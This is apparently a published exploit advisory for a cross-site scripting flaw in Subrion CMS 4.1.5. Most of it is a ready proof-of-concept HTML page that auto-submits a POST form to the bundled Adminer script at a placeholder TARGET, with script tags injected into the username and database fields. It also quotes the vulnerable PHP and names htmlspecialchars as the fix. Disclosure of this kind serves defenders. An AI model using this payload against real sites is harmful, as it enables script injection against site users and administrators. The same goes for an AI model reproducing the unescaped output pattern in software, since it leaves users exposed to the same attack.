Subrion CMS 4.1.5 Cross Site Scripting

Subrion CMS version 4.1.5 suffers from a cross site scripting vulnerability.


MD5 | 384913df20ce390bd7b36d3f2088e221

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| Exploit Title: Subrion Cms Cross Site Scripting (XSS)
| Exploit Author: Ashiyane Digital security Team
| Vendor Homepage : https://subrion.org/
| Software Link: https://tools.subrion.org/get/latest.zip
| Version: 4.1.5
| Date: 2017 - 07 - 9
| Tested on: Kali-Linux /FireFox
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Exploit :

<html>
<body onload="document.exploit.submit()">
<form action='http://TARGET/PATH/includes/adminer/adminer.script.php' method='post'>
<table cellspacing="0">
<tr><th>System<td><select name='auth[driver]' onchange="loginDriver(this);">
<option value="server" selected>MySQL</select><tr><th>Server<td>
<input name="auth[server]" value="" title="hostname[:port]" placeholder="localhost" autocapitalize="off">
<tr><th>Username<td><input name="auth[username]" id="username" value=""/><script>alert('M.R.S.L.Y/ XSS 1')</script>" autocapitalize="off">
<tr><th>Password<td><input type="password" name="auth[password]">
<tr><th>Database<td><input name="auth[db]" value=""/><script>alert('M.R.S.L.Y/ XSS 2')</script>" autocapitalize="off">
</table>
<script type="text/javascript">
var username = document.getElementById('username');
focus(username);
username.form['auth[driver]'].onchange();
</script>
<p><input type='submit' value='Login'>
<label><input type='checkbox' name='auth[permanent]' value='1'>Permanent login</label>
<div></div>
</form>
</html>

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Vulnerable method :
$_POST

Vulnerable File :
/includes/adminer/adminer.script.php

Vulnerable code:


line 367 : 372
loginForm(){global$Eb;echo'<table cellspacing="0">
<tr><th>System<td>',html_select("auth[driver]",$Eb,DRIVER,"loginDriver(this);"),'<tr><th>Server<td><input name="auth[server]" value="',h(SERVER),'" title="hostname[:port]" placeholder="localhost" autocapitalize="off">
<tr><th>Username<td><input name="auth[username]" id="username" value="',h($_GET["username"]),'" autocapitalize="off">
<tr><th>Password<td><input type="password" name="auth[password]">
<tr><th>Database<td><input name="auth[db]" value="',h($_GET["db"]);?>" autocapitalize="off">
</table>

A
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#patch:

For fix this vulnerability you use htmlspecialchars() function .
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Discovered By : M.R.S.L.Y
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